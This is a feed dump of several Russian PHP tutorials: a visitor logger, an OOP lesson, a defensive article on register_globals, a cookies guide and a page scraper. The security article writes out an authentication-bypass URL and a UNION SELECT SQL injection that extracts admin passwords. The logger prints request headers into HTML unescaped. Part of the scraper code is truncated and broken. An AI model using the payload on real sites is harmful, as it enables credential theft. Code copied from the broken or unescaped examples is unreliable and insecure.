$fileName=&quot;stat.txt&quot;; //имя файла со статистикой<br />
<br />
$maxVisitors=30; //количество записей, отображаемых<br />
<br />
//при просмотре статистики<br />
<br />
$cookieName=&quot;visitorOfMySite&quot;; //имя куки<br />
<br />
$cookieValue=&quot;1&quot;; //значение куки<br />
<br />
$timeLimit=86400; //срок в секундах, который должен<br />
<br />
//пройти с момента последнего посещения сайта, что бы<br />
<br />
//информация о посетителе записалась повторно. Это<br />
<br />
//значение равно 1 дню, т.е. один и тот же посетитель<br />
<br />
//записывается в статистику раз в одни сутки. Если<br />
<br />
//эту переменную приравнять к нулю, то будут учитываться<br />
<br />
//все посещения одного и того же посетителя<br />
<br />
//далее следуют переменные, отвечающие за отображение<br />
<br />
//статистики<br />
<br />
$headerColor=&quot;#808080&quot;;<br />
<br />
$headerFontColor=&quot;#FFFFFF&quot;;<br />
<br />
$fontFace=&quot;Arial, Times New Roman, Verdana&quot;;<br />
<br />
$fontSize=&quot;1&quot;;<br />
<br />
$tableColor=&quot;#000000&quot;;<br />
<br />
$rowColor=&quot;#CECECE&quot;;<br />
<br />
$fontColor=&quot;#0000A0&quot;;<br />
<br />
$textFontColor=&quot;#000000&quot;;<br />
<br />
//все переменные подготовлены.<br />
<br />
//Функция записи данных о посетителе<br />
<br />
function saveUserData() {<br />
<br />
GLOBAL $fileName, $HTTP_USER_AGENT, $REMOTE_ADDR, $REMOTE_HOST,<br />
<br />
$HTTP_REFERER, $REQUES_URI;<br />
<br />
$curTime=date(&quot;d.m.Y @ H:i:s&quot;); //текущее время и дата<br />
<br />
//подготавливаю данные для записи<br />
<br />
if (empty($HTTP_USER_AGENT)) {$HTTP_USER_AGENT = &quot;Unkwnown&quot;;}<br />
<br />
if (empty($REMOTE_ADDR)) {$REMOTE_ADDR = &quot;Not Resolved&quot;;}<br />
<br />
if (empty($REMOTE_HOST)) {$REMOTE_HOST = &quot;Unknown&quot;;}<br />
<br />
if (empty($HTTP_REFERER)) {$HTTP_REFERER = &quot;No Referer&quot;;}<br />
<br />
if (empty($REQUEST_URI)) {$REQUEST_URI = &quot;Unknown&quot;;}<br />
<br />
$data_ = $HTTP_USER_AGENT.&quot;::&quot;.$REMOTE_ADDR.&quot;::&quot;.$REMOTE_HOST.&quot;::<br />
<br />
&quot;.$HTTP_REFERER.&quot;::&quot;.$REQUEST_URI.&quot;::&quot;.$curTime.&quot;\r\n&quot;;<br />
<br />
//разделителем будут два &quot;:&quot;<br />
<br />
//далее пишу в файл<br />
<br />
if (is_writeable($fileName) ) :<br />
<br />
$fp = fopen($fileName, &quot;a&quot;);<br />
<br />
fputs ($fp, $data_);<br />
<br />
fclose ($fp);<br />
<br />
endif;<br />
<br />
}<br />
<br />
//функция записи готова. Теперь нужно написать<br />
<br />
//функцию вывода данных из файла статистики<br />
<br />
function showStat () {<br />
<br />
GLOBAL $headerColor, $headerFontColor, $fontFace, $fontSize, $tableColor,<br />
<br />
$fileName, $maxVisitors, $rowColor, $fontColor, $textFontColor;<br />
<br />
//вывожу таблицу<br />
<br />
$fbase=file($fileName);<br />
<br />
$fbase = array_reverse($fbase);<br />
<br />
$count = sizeOf($fbase);<br />
<br />
echo &quot;&lt;font face=\&quot;$fontFace\&quot; color=\&quot;$textFontColor\&quot; size=\&quot;$fontSize\&quot;&gt;&quot;;<br />
<br />
echo &quot;Всего посещений: $count&lt;br&gt;&lt;br&gt;&quot;;<br />
<br />
echo &quot;&lt;div align=\&quot;center\&quot;&gt;<br />
<br />
&lt;table cellpadding=\&quot;2\&quot; cellspacing=\&quot;1\&quot; width=\&quot;95%\&quot;<br />
<br />
border=\&quot;0\&quot; bgcolor=\&quot;$tableColor\&quot;&gt;&quot;;<br />
<br />
echo &quot;&lt;tr bgcolor=\&quot;$headerColor\&quot;&gt;&lt;td&gt;&lt;<br />
<br />
font face=\&quot;$fontFace\&quot; color=\&quot;$headerFontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;Браузер<br />
<br />
&lt;/font&gt;<br />
<br />
&lt;/td&gt;&lt;td&gt;&lt;font face=\&quot;$fontFace\&quot; color=\&quot;$headerFontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;IP&lt;/font&gt;&lt;/td&gt;<br />
<br />
&lt;td&gt;&lt;font face=\&quot;$fontFace\&quot; color=\&quot;$headerFontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;Хост&lt;/font&gt;&lt;/td&gt;<br />
<br />
&lt;td&gt;&lt;font face=\&quot;$fontFace\&quot; color=\&quot;$headerFontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;Ссылка&lt;/font&gt;&lt;/td&gt;<br />
<br />
&lt;td&gt;&lt;font face=\&quot;$fontFace\&quot; color=\&quot;$headerFontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;Страница&lt;/font&gt;&lt;/td&gt;<br />
<br />
&lt;td&gt;&lt;font face=\&quot;$fontFace\&quot; color=\&quot;$headerFontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;Время визита&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&quot;;<br />
<br />
echo &quot;&lt;/font&gt;&lt;font face=\&quot;$fontFace\&quot; size=\&quot;$fontSize\&quot;&gt;&quot;;<br />
<br />
//открываю файл и запускаю цикл<br />
<br />
$fbase=file($fileName);<br />
<br />
$fbase = array_reverse($fbase);<br />
<br />
for ($i=0; $i&lt;$maxVisitors; $i++) :<br />
<br />
if ($i&gt;= sizeof($fbase)) {break;}<br />
<br />
$s = $fbase[$i];<br />
<br />
//разделяю<br />
<br />
$strr = explode(&quot;::&quot;, $s);<br />
<br />
if (empty($strr)) {break;}<br />
<br />
//вывожу данные<br />
<br />
echo &quot;&lt;tr&gt;&lt;td bgcolor=\&quot;$rowColor\&quot;&gt;&lt;<br />
<br />
font face=\&quot;$fontFace\&quot; color=\&quot;$fontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;$strr[0]&lt;/font&gt;<br />
<br />
&lt;/td&gt;&lt;td bgcolor=\&quot;$rowColor\&quot;&gt;&lt;<br />
<br />
font face=\&quot;$fontFace\&quot; color=\&quot;$fontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;$strr[1]&lt;/font&gt;<br />
<br />
&lt;/td&gt;&lt;td bgcolor=\&quot;$rowColor\&quot;&gt;&lt;<br />
<br />
font face=\&quot;$fontFace\&quot; color=\&quot;$fontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;$strr[2]&lt;/font&gt;<br />
<br />
&lt;/td&gt;&lt;td bgcolor=\&quot;$rowColor\&quot;&gt;&lt;<br />
<br />
font face=\&quot;$fontFace\&quot; color=\&quot;$fontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;$strr[3]&lt;/font&gt;<br />
<br />
&lt;/td&gt;&lt;td bgcolor=\&quot;$rowColor\&quot;&gt;&lt;<br />
<br />
font face=\&quot;$fontFace\&quot; color=\&quot;$fontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;$strr[4]&lt;/font&gt;<br />
<br />
&lt;/td&gt;&lt;td bgcolor=\&quot;$rowColor\&quot;&gt;&lt;<br />
<br />
font face=\&quot;$fontFace\&quot; color=\&quot;$fontColor\&quot;<br />
<br />
size=\&quot;$fontSize\&quot;&gt;$strr[5]&lt;/font&gt;&lt;/td&gt;<br />
<br />
&lt;/tr&gt;&quot;;<br />
<br />
endfor;<br />
<br />
}<br />
<br />
?&gt;<br />
<br />
Скрипт сбора и показа статистики готов. Теперь нужно вставить в те страницы, информацию о посетителях которой вы хотите просмотреть:<br />
<br />
&lt;?php<br />
<br />
include(&quot;sniffer.php&quot;);<br />
<br />
if (! isset($$cookieName)) :<br />
<br />
//установить куки<br />
<br />
setcookie($cookieName, $cookieValue, time()+$timeLimit);<br />
<br />
saveUserData();<br />
<br />
endif;<br />
<br />
?&gt;<br />
<br />
Здрасьте! А мона вас посчитать? Можно? Ну спасибо! Я вас посчитал! ;)<br />
<br />
Обратите внимание, что этот код нужно вставлять в самый верх страницы, до того, как данные будут передаваться в браузер. В противном случае установить куки не получится. Далее сделаем страницу, выводящюю статистику:<br />
<br />
&lt;html&gt;&lt;body&gt;<br />
<br />
&lt;?php include(&quot;sniffer.php&quot;); ?&gt;<br />
<br />
Статистика&lt;br&gt;<br />
<br />
&lt;?php<br />
<br />
showStat();<br />
<br />
?&gt;&lt;/body&gt;&lt;/html&gt;&lt;/i&gt;<br />
<br />
Здесь мы просто включили файл sniffer.php и вызвали из него функцию showStat() Вот с помощью такого небольшого скрипта, длинной всего ровно в 100 строк, можно с помощью PHP получить и в удобном виде просмотреть. Здесь ещё много чего предстоит сделать, например сделать статистику по реферерам, браузерам... Так же можно из HTTP_USER_AGENT вытащить браузер и ОС и записать их в более удобном виде. Кстати, все размеры при выводе статистики я расчитывал при разрешении 1024*768 и у меня все удобно помещается в одну строку.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:17:19 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/498]]></link>
		</item>
		<item>
			<title>Классы и объекты в РНР со Штирлицом и Мюллером</title>
			<description><![CDATA[PHP так же как и большинство современных языков программирования высокого уровня, таких как С, Паскаль, Java и т.д. является объектно-ориентированным. В этой статье мы как раз и узнаем что же такое эти объекты на которые он ориентирован и в чем причина и польза (или вред) такой ориентации. Я думаю, что эту статью интересно будет прочитать и тем, кто изучает не PHP, а другие языки, потому что в них во всех понятия классов и объектов одинаковы, разный только синтаксис.<br />
<br />
Мы раскроем нашу тему на примере небольшого скрипта, который называется &quot;Штирлиц и Мюллер&quot;. У Штирлица и Мюллера на двоих имеется 0.7 литра шнапса и 0.5 литра водки. Но Мюллер является немецким офицером и может пить только шнапс, тогда как Штирлиц помимо того, что он немецкий офицер, одновременно ещё и является советским разведчиком майором Исаевым, поэтому способен пить не только шнапс, но и водку. С каждым нажатием кнопки один из них выпивает 100 грамм того или иного напитка. А теперь зайдите сюда и сделайте так, чтобы из имеющихся 1.2 литра спиртного Штирлиц выпил как минимум 0.9 литра. Но не забывайте и про Мюллера.<br />
<br />
А теперь посмотрим как работает этот скрипт.<br />
Вот его основной код:<br />
<br />
&lt;?<br />
заголовок();<br />
<br />
$Мюллер = new Немецкий_Офицер;<br />
$Штирлиц = new Советский_Разведчик;<br />
<br />
$Мюллер-&gt;имя = &quot;Мюллер&quot;;<br />
$Штирлиц-&gt;имя = &quot;Штирлиц&quot;;<br />
$Штирлиц-&gt;настоящее_имя = &quot;майор Исаев&quot;;<br />
<br />
extract($_POST);<br />
статистика();<br />
<br />
if($Желание_Мюллера =='Хочу шнапса!') {<br />
$Мюллер-&gt;Выпить_Шнапса($Шнапс);<br />
$Мюллер-&gt;Самочувствие();<br />
}<br />
if($Желание_Штирлица =='Хочу шнапса!') {<br />
$Штирлиц-&gt;Выпить_Шнапса($Шнапс);<br />
$Штирлиц-&gt;Самочувствие();<br />
}<br />
if($Желание_Штирлица =='Хочу водки!') {<br />
$Штирлиц-&gt;Выпить_Водки($Водка);<br />
$Штирлиц-&gt;Самочувствие();<br />
}<br />
<br />
$Выпитое_Горючее = $Мюллер-&gt;Выпитый_Шнапс.&quot;|&quot;.$Штирлиц-&gt;Выпитый_Шнапс.&quot;|&quot;.$Штирлиц-&gt;Выпитая_Водка;<br />
<br />
$Мюллер-&gt;Желания();<br />
$Штирлиц-&gt;Желания();<br />
<br />
выпитое($Штирлиц,$Мюллер);<br />
запасы($Шнапс, $Водка);<br />
<br />
окончание();<br />
<br />
exit;<br />
<br />
Одна из прелестей PHP в том, что код можно писать не только на английском, но и на многих других языках, в том числе и на русском, что вы и видите в данном примере. ( Имена переменных, функций, классов, объектов и т.д. в PHP могут состоять не только из латинских букв, но также могут содержать знак подчеркивания _, цифры (но не должны начинаться с цифр) и любие символы из расширенного набора ASCII ( ASCII-коды от 127 до 255 (0x7f-0xff) ), куда входят и хорошо нам знакомые значки кириллицы )<br />
<br />
Итак, начнём с начала. &lt;? - это начало любого PHP-кода, а ?&gt; - его конец. Всё, что находится между этими значками, сервер обрабатывает как программу на PHP, а все что за ними - как простой HTML.<br />
<br />
Далее идёт функция заголовок().<br />
<br />
Функция - это то же, что процедура или подпрограмма - кусок кода, который выполняет какое-то действие. Функции используются для того, чтобы не писать один и тот же код несколько раз, а, написав его единожды, вызывать его потом сколько угодно раз всего одним словом - названием функции.<br />
<br />
В этом скрипте несколько функций:<br />
<br />
&lt;?<br />
заголовок();<br />
<br />
extract($_POST);<br />
статистика();<br />
<br />
$Мюллер-&gt;Выпить_Шнапса($Шнапс);<br />
$Мюллер-&gt;Самочувствие();<br />
$Штирлиц-&gt;Выпить_Шнапса($Шнапс);<br />
$Штирлиц-&gt;Самочувствие();<br />
$Штирлиц-&gt;Выпить_Водки($Водка);<br />
$Мюллер-&gt;Желания();<br />
$Штирлиц-&gt;Желания();<br />
<br />
выпитое($Штирлиц,$Мюллер);<br />
запасы($Шнапс, $Водка);<br />
<br />
окончание();<br />
<br />
Одна из них - встроенная ( это - extract() ), а остальные - написанные пользователем (User-defined functions).<br />
Встроенные функции написаны на Си и находятся в самом коде PHP, подробное описание каждой из них вы можете прочитать в PHP Manual. А для того чтобы заработали user-defined функции их надо сначала описать (обычно в конце программы или в отдельном файле). Делается это так:<br />
<br />
function заголовок() {<br />
echo &quot;&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;Штирлиц и Мюллер&lt;/TITLE&gt;&lt;meta content=\&quot;text/html ; CHARSET=windows-1251\&quot; http-equiv=\&quot;Content-Type\&quot;&gt;&lt;/HEAD&gt;&lt;BODY&gt;&quot;;<br />
}<br />
<br />
echo - это встроенная функция. Она выводит текст который стоит после неё в кавычках. Если в самом выводимом тексте есть кавычки то перед каждой из них надо кинуть вот такую палочку - \<br />
<br />
Функция заголовок() выводит на экран HTML-заголовки - название страницы и мета-таг указывающий кодировку. Кстати, если вы видите на русскоязычных страницах непонятную абракадабру вместо великого и могучего, и вам приходится самостоятельно выставлять кодировку в браузере - это означает, что вебмастер забыл вставить именно этот мета-таг. Не повторяйте чужих ошибок и всегда помните об этом, когда пишете русскоязычные страницы.<br />
<br />
А вот теперь мы и подошли к самому интересному, к нашей основной теме &quot;Классы и Объекты&quot;.<br />
Если перевести этот код<br />
<br />
$Мюллер = new Немецкий_Офицер;<br />
$Штирлиц = new Советский_Разведчик;<br />
<br />
с программного языка на человеческий, то он будет означать следующее:<br />
<br />
$Мюллер - новый объект класса Немецкий_Офицер<br />
$Штирлиц - новый объект класса Советский_Разведчик<br />
<br />
Класс - это описание возможностей (набора функций) и переменных, которыми обладает любой объект данного класса. Польза та же, что и от функций - не нужно писать много раз одно и то же. А следовательно увеличивается скорость написания программ, облегчается понимание того, как они работают, и где могут крыться ошибки. Описав класс один раз, можно создавать сколько угодно объектов этого класса и все они будут обладать одинаковыми возможностями. Так что мы с легкостью можем написать, к примеру<br />
<br />
$Борман = new Немецкий_Офицер;<br />
$Шелленберг = new Немецкий_Офицер;<br />
$Радистка_Кэт = new Советский_Разведчик;<br />
<br />
Итак, мы установили, что класс - это не что иное, как набор функций и переменных, с которыми работают эти функции. Как и функции, классы обычно описываются в конце программы или в отдельном файле.<br />
<br />
Посмотрим, какими же функциями обладает каждый Немецкий_Офицер:<br />
<br />
class Немецкий_Офицер {<br />
<br />
function Немецкий_Офицер () {<br />
$this-&gt;Острая_Необходимость = &quot;Хочу шнапса!&quot;;<br />
}<br />
<br />
function Желания() {<br />
global $Шнапс, $Водка, $Выпитое_Горючее;<br />
echo &quot;Я - &quot;.$this-&gt;имя.&quot;.<br />
&lt;FORM METHOD=POST&gt;<br />
&lt;INPUT TYPE=hidden name=Шнапс value=$Шнапс&gt;<br />
&lt;INPUT TYPE=hidden name=Водка value=$Водка&gt;<br />
&lt;INPUT TYPE=hidden name=Выпитое_Горючее value='$Выпитое_Горючее'&gt;<br />
&lt;INPUT TYPE=submit name=Желание_&quot;.$this-&gt;имя.&quot;а value='&quot;.$this-&gt;Острая_Необходимость.&quot;'&gt;<br />
&lt;/FORM&gt;&lt;BR&gt;&quot;;<br />
}<br />
<br />
function Выпить_Шнапса($Шнапс) {<br />
global $Шнапс;<br />
if($Шнапс != 0) {<br />
$Шнапс=$Шнапс - 0.1;<br />
$this-&gt;Выпитый_Шнапс = $this-&gt;Выпитый_Шнапс + 0.1;<br />
echo $this-&gt;имя.&quot; только что выпил 100 грамм шнапса.&lt;BR&gt;Шнапса осталось $Шнапс литра.&lt;BR&gt;&quot;;<br />
} else {<br />
echo &quot;Шнапс кончился.&lt;BR&gt;&quot;;<br />
}<br />
}<br />
function Самочувствие() {<br />
if($this-&gt;Выпитый_Шнапс + $this-&gt;Выпитая_Водка &gt; 0.8) {<br />
echo $this-&gt;имя.&quot; выпил &quot;.$this-&gt;Выпитый_Шнапс.&quot; литра шнапса и &quot;.$this-&gt;Выпитая_Водка.&quot; литра водки.&lt;BR&gt;&quot;;<br />
echo $this-&gt;имя.&quot; склонился над картой Советского Союза.&lt;BR&gt;&quot;;<br />
echo &quot;Его неудержимо рвёт на Родину.&lt;BR&gt;&quot;;<br />
окончание();<br />
exit;<br />
} elseif($this-&gt;Выпитый_Шнапс or $this-&gt;Выпитая_Водка) {<br />
echo $this-&gt;имя.&quot;у хорошо. Но он хочет ещё.&lt;BR&gt;&lt;BR&gt;&quot;;<br />
}<br />
}<br />
}<br />
<br />
Как видим, он может рассказать нам о своих Желаниях(), Выпить_Шнапса() и поведать о своем Самочувствии() после выпитого.<br />
<br />
В этом классе есть ещё одна функция - Немецкий_Офицер(). Она особенная и отличается от всех других, тем, что её название в точности совпадает с названием самого класса. Такая функция называется конструктор. Слово &quot;конструктор&quot; в английском языке значит совсем не то, что в русском, а обозначает того, кто что-то конструирует. Конструктор - это функция которая выполняется автоматически, когда создаётся (конструируется) новый объект данного класса. То есть когда рождается каждый новый Немецкий_Офицер он сразу начинает испытывать естественную для каждого истинного Немецкого_Офицера Острую_Необходимость Выпить_Шнапса.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:16:54 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/497]]></link>
		</item>
		<item>
			<title>register_globals=oN? Вы в опасности!</title>
			<description><![CDATA[Здравствуйте уважаемые веб-мастера, статья повествует о том, почему опасно оставлять опцию register_globals включенной. Вы, возможно, слышали, что использование её может привести к небезопасной работе вашей программы (скрипта). Но давайте разберемся, как эту опцию могут использовать в противоправных целях и как от этого защититься.<br />
<br />
Что представляет собой register_globals?<br />
Это опция в php.ini, которая указывает на необходимость регистрации переменных полученные методом POST или GET в глобальный массив $GLOBALS.<br />
<br />
Для ясности приведу пример при register_globals=on.<br />
Есть файл «index.php» с содержимом:<br />
<br />
&lt;?<br />
echo $asd.' - локальная переменная&lt;br&gt;';<br />
echo $GLOBALS['asd'].' - ссылка в глобальном массиве $GLOBALS&lt;br&gt;';<br />
echo $_GET['asd'].' - $_GET[&quot;asd&quot;]';<br />
?&gt;<br />
<br />
В адресной строке напишем: index.php?asd=123<br />
<br />
Получим:<br />
<br />
123 - локальная переменная<br />
123 - ссылка в глобальном массиве $GLOBALS<br />
123 - $_GET['asd']<br />
<br />
Как мы видим, создались 2 переменные: одна локальная (+ ссылка в $GLOBALS), другая в массиве $_GET. Многие не используют массив $_GET вообще, они продолжают обрабатывать переменную «$asd» после получения ее извне.<br />
Но давайте вдумаемся, зачем нам «загрязнять» массив $GLOBALS? Для этого у нас есть специальные массивы, хранящие данные, переданные методами GET (массив $_GET) и POST (массив $_POST).<br />
<br />
Тот же самый пример, но при register_globals=off :<br />
<br />
- глобальная переменная<br />
- ссылка в глобальном массиве $GLOBALS<br />
123 - $_GET['asd']<br />
<br />
Т.о. не была создана локальная переменная и для манипулирования с «$asd» мы должны использовать массив $_GET.<br />
<br />
Возможно, уже сейчас вы изменили свое мнение о register_globals.<br />
Вероятно, вам придется что-то переписать в своих программах, но оно того стоит.<br />
<br />
А теперь я расскажу вам, как взломщик может воспользоваться этой опцией в своих целях, т.е. при register_globals=on<br />
Начну от простого к сложному.<br />
<br />
Часто мы видим предупреждения:<br />
<br />
Notice: Undefined variable: asd(название переменной) in ****<br />
<br />
Что это значит? Это значит, что переменная «$asd» не была определена явно.<br />
Например, некоторые люди балуются подобным:<br />
<br />
&lt;?<br />
for($i=0;$i&lt;10;$i++)<br />
{<br />
@$asd.=$i;<br />
}<br />
<br />
echo $asd<br />
?&gt;<br />
<br />
Т.е. не определив переменную, сразу начинают ее использовать. Приведенный код по идее не страшен, но задумайтесь, а вдруг эта самая переменная «$asd», в последствие записывается в файл? Например, напишем следующее в строке адреса: «index.php?asd=LUSER+» и получим: «LUSER 0123456789». Ну, разве приятно будет увидеть такое? Не думаю.<br />
<br />
Предположим мы пишем систему аутентификации пользователя:<br />
<br />
&lt;?<br />
if($_POST['login']=='login'&amp;&amp;$_POST['pass']=='pass')<br />
{<br />
$valid_user=TRUE; // Юзер корректный<br />
}<br />
<br />
if($valid_user)<br />
{<br />
echo 'Здравствуйте, пользователь';<br />
}<br />
else echo 'В доступе отказано'<br />
?&gt;<br />
<br />
Привел я заведомо дырявую систему, стоит нам только написать в адресной строке «index.php?valid_user=1» и мы получим надпись «Здравствуйте, пользователь»<br />
<br />
Этого бы не случилось, если бы мы написали так:<br />
<br />
&lt;?<br />
if($_POST['login']=='login'&amp;&amp;$_POST['pass']=='pass')<br />
{<br />
$valid_user=TRUE; // Юзер корректный<br />
}<br />
else $valid_user=FALSE;<br />
<br />
if($valid_user)<br />
{<br />
echo 'Здравствуйте, пользователь';<br />
}<br />
else echo 'В доступе отказано'<br />
?&gt;<br />
<br />
Т.е. сами определили переменную $valid_user, как FALSE в случае неудачи.<br />
<br />
Продолжим далее…<br />
Теперь использование функции IsSet() становится небезопасно, т.к. любой может подменить переменную на угодную ему.<br />
<br />
Приведу пример с sql-инъекцией:<br />
<br />
&lt;?<br />
if(@$some_conditions) // некоторые условия<br />
{<br />
$where='id=3';<br />
}<br />
<br />
echo $query='SELECT id, title, description FROM table '<br />
.'WHERE '.(IsSet($where)?$where:'id=4')<br />
?&gt;<br />
<br />
В адресной строке напишем: «index.php?where=id=0+UNION+ALL+SELECT+login,+password,+null+FROM+admin+where+login='admin'» получим sql-инъекцию:<br />
<br />
SELECT id, title, description FROM table WHERE id=0<br />
UNION ALL SELECT login, password, null FROM admin where login='admin'<br />
<br />
И взломщик получает ваши явки и пароли:(<br />
<br />
Как вы видите все примеры, имеют дыры в защите, которые можно эксплуатировать через включенный register_globals.<br />
<br />
Справиться с подобным можно, если всегда определять переменную вне зависимости от условий. Или же использовать инкапсуляцию переменных в функциях, т.е. когда вы определяете функцию, то переменные, что внутри нее будут закрыты извне, например:<br />
<br />
&lt;?<br />
function asd()<br />
{<br />
// Какие то действия<br />
<br />
if(IsSet($where))<br />
{<br />
echo $where;<br />
}<br />
else echo '$where не существует';<br />
}<br />
asd();<br />
?&gt;<br />
<br />
Теперь, если мы напишем в адресной строке: «index.php?where=123»<br />
Даст: «$where не существует»<br />
Но это при условии, что вы не устанавливаете переменную $where как глобальную, т.е. «global $where»<br />
<br />
Я могу придумать еще очень много примеров, но думаю, что приведенных мною вам будет достаточно для понимания.<br />
Хочу сказать, что все эти проблемы канут в лета, когда вы установите опцию register_globals=off и попробуете заново все приведенные выше примеры.<br />
<br />
Это можно сделать как в php.ini, но большинство хостинг провайдеров вам это не позволят, потому придется воспользоваться файлом «.htaccess»<br />
<br />
Создаем файл с названием: .htaccess<br />
Запишем в него:<br />
<br />
php_flag register_globals off<br />
<br />
И все, теперь некоторые вопросы безопасности решены:)<br />
<br />
Немного о причине написания мной этой статьи:<br />
Лично я никогда не использовал register_globals = on, т.к. мне казалось это нелогичным. Так же я знал, что это еще один «+» к защите. Но в полной мере я не осознавал насколько это может быть опасно. Случилось это когда я решил написать GSMgen – Google SiteMap generator, который должен был работать безопасно и при включенном register_globals. Когда же я начал его тестировать, у меня был шок…так как мне нравится использовать функцию IsSet() я нашел в ней непосредственную уязвимость, и в процессе мне пришлось от этого отказаться:( Что поделаешь…<br />
<br />
Я очень надеюсь, что эта статья изменит ваше мнение относительно register_globals. Думаю, что со временем все хостинг провайдеры будут ставить register_globals = off по умолчанию. Но пока этого нет, вы знаете, как с этим бороться;-)]]></description>
			<pubDate>Sat, 27 Apr 2013 19:16:26 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/496]]></link>
		</item>
		<item>
			<title>Cookies - свежие булочки</title>
			<description><![CDATA[Работа с куки из PHP облегчена до невозможности. Все что вам требуется, это только узнать несколько функций. А потом вы можете погрузить ваших пользователей в их мир и во многом облегчить их жизнь на вашем сайте.<br />
Итак, первое что вам следует выучить, это как ставить куки пользователю.<br />
Совершенно ничего сложного, используйте функцию setcookie(). Вот ее общий формат.<br />
<br />
&lt;?php<br />
int setcookie (string name [, string value [, int expire [, string path [, string domain [, int secure]]]]])<br />
?&gt;<br />
<br />
Итак нам надо указать имя куки и ее значение. Остальные поля не обязательны - это время жизни куки (до которой даты), на какую директорию ставим, на какой домен и нужна ли безопасность куки (используется редко).<br />
<br />
Вот пример.<br />
<br />
&lt;?php<br />
setcookie (&quot;TestCookie&quot;, &quot;Ded Mozor&quot;);<br />
<br />
/* А эти куки живут только один час */<br />
setcookie (&quot;TestCookie&quot;, $value,time()+3600);<br />
<br />
/* Только для директории user сайта *phpdevs.com */<br />
setcookie (&quot;TestCookie&quot;, $value,time()+3600, &quot;/user/&quot;, &quot;.phpdevs.com&quot;, 1);<br />
?&gt;<br />
<br />
Для удаления куки просто поставьте пустое значение.<br />
&lt;?php<br />
setcookie (&quot;TestCookie&quot;, &quot;&quot;);<br />
?&gt;<br />
<br />
Теперь читаем куки.<br />
<br />
&lt;?php<br />
$my_cookie = $HTTP_COOKIE_VARS[&quot;TestCookie&quot;];<br />
?&gt;<br />
<br />
Как видите все очень просто до безобразия.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:16:03 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/495]]></link>
		</item>
		<item>
			<title>&quot;Грабим&quot; странички</title>
			<description><![CDATA[С аудиограбберами знакомы все. Нам предстоит сделать свой собственный граббер информации из Интернета. Нам понадобится подопытный кролик, на роль которого я предлагаю выбрать сайт http://subscribe.ru :-) Что мы можем у них стянуть хорошего? Собственно говоря, там хорошего много, но есть кое-что, что нам и нашим посетителям может действительно пригодиться! Я имею в виду список новых рассылок, переведенных в категорию серебряных. Не секрет, что когда рассылку переводят в эту категорию, ее рейтинг (в виде количества подписчиков) непременно взлетает. Вольно или невольно мы будем содействовать этому процессу, так как посетители Вашего сайта смогут подписаться на понравившиеся им рассылки прямо, так сказать, не отходя от кассы. Для начала нам потребуется адрес, откуда мы будем грабить информацию. Он такой - http://win.subscribe.ru/catalog/latest Если кого-то не устроит кодировка, подставьте свою. По указанному адресу мы находим все переведенные в категорию серебряных рассылки. Причем список постоянно обновляется, оставаясь таким образом актуальным всегда.<br />
<br />
Привожу весь код, пояснения к нему - дальше...<br />
<br />
&lt;?<br />
// начало<br />
$link = &quot;http://win.subscribe.ru/catalog/latest&quot;;<br />
$file = @fopen($link, &quot;r&quot;);<br />
if ($file) { $rf = fread($file, 200000); fclose($file); } else { echo &quot;Извините, запрошенная страница временно не доступна!&quot;; }<br />
<br />
// 1<br />
$rf = trim (chop ($rf));<br />
$s = strpos($rf, &quot; $rf = substr($rf, $s);<br />
<br />
// 2<br />
$s = strpos($rf, &quot; $rf = substr($rf, 0, $s);<br />
<br />
// 3<br />
$rf = str_replace (&quot;/catalog/&quot;,&quot;http://win.subscribe.ru/catalog/&quot;, $rf);<br />
$rf = str_replace (&quot;/archive/&quot;,&quot;http://win.subscribe.ru/archive/&quot;, $rf);<br />
$rf = str_replace (&quot;ACTION=/member/quick&quot;,&quot;ACTION=http://win.subscribe.ru/member/quick&quot;, $rf);<br />
$rf = str_replace (&quot;/img/money2.gif&quot;,&quot;http://win.subscribe.ru/money2.gif&quot;, $rf);<br />
$rf = str_replace (&quot;/img/a114.gif&quot;,&quot;http://win.subscribe.ru/af.gif&quot;, $rf);<br />
$rf = str_replace (&quot;/img/af.gif&quot;,&quot;http://win.subscribe.ru/af.gif&quot;, $rf);<br />
<br />
// 4<br />
echo $rf;<br />
?&gt;<br />
<br />
А теперь поехали! В самом начале нам нужно выкачать страничку. Записываем ее адрес и открываем по нему соединение. Далее идет проверка - если соединение успешно, можно считать весь файл (не мудрствуя лукаво указываем 200000 байт для считывания, что явно больше размера открываемого файла), если произошла ошибка открытия, предупреждаем об этом посетителя и выводим ему что угодно, например баннер.<br />
<br />
Этап 1.<br />
$rf = trim (chop ($rf)); - этой мудреной комбинацией мы значительно уменьшим объем обрабатываемых данных, так как уберем повторяющиеся пробелы и пробелы в конце и в начале файла. Потом нам нужно определиться с местом, откуда мы будем выводить информацию. Анализ кода дает нам очень эффективный механизм, и мы им непременно воспользуемся.<br />
$s = strpos($rf, &quot; - эта команда позволяет найти номер позиции указанной последовательности символов в строке, куда мы считали весь код файла. Результат помещается в переменную $s<br />
$rf = substr($rf, $s); - жестоко обрезаем все, что находится перед этой комбинацией. В том числе и баннеры, кстати.<br />
<br />
Этап2.<br />
